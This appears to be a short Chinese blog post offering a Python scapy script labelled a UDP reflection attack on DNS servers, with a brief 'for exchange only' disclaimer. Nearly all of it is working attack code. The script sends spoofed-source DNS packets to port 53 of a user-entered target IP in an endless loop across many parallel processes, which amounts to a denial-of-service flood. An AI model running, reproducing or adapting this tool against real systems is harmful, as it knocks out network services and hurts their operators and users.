【UDP反射攻击】不要参与违法犯罪行为，仅供交流

UDP反射攻击，针对DNS服务器

#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# Udp Flood Tool Python

from multiprocessing import Process
from scapy.all import *
import os
import sys
import random


def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
    return ip


def randInt():
    x = random.randint(1000, 9000)
    return x


def UDP_Flood(dstIP, dstPort, counter):
    total = 0
    print("Packets are sending ...")
    for x in range(0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        UDP_Packet = UDP()
        UDP_Packet.sport = s_port
        UDP_Packet.dport = dstPort
        UDP_Packet.seq = s_eq
        UDP_Packet.window = w_indow
        # 构造DNS请求数据包

        DNS_Packet = DNS()
        DNS_Packet.id = RandShort()
        DNS_Packet.rd = 1
        Domain_list = ["www.example.com", "www.kk.com", "www.kk1.com", "www.kk2.com", "www.kk3.com", "www.kk4.com"]
        Domain_name = random.choice(Domain_list)
        DNS_Packet.qd = DNSQR(qname=Domain_name, qtype="A")
        DNS_Packet.an = DNSRR(rrname=Domain_name, type=1, ttl=3600, rdata="192.168.31.1")  # 添加自定义回答记录

        send(IP_Packet / UDP_Packet / DNS_Packet, verbose=0)
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
    os.system("clear")
    print("#############################")
    print("#    github.com/Zhoushukang   #")
    print("#############################")
    print("# Welcome to UDP Flood Tool #")
    print("#############################")

    dstIP = input("\nTarget IP : ")
    normalPort = [53]
    # dstPort = input("Target Port : ")

    return dstIP, normalPort


def attack(dstIP, normalPort, counter):
    j = 0
    while True:
        if j == len(normalPort):
            j = 0
        dstPort = normalPort[j]
        UDP_Flood(dstIP, dstPort, int(counter))
        j += 1


if __name__ == '__main__':
    num = input("并行数:")
    counter = input("你需要发送多少包 : ")
    list = []
    dstIP, normalPort = info()
    for i in range(int(num)):
        p = Process(target=attack, args=(dstIP, normalPort, counter))
        list.append(p)
    for i in list:
        i.start()
    for i in list:
        i.join()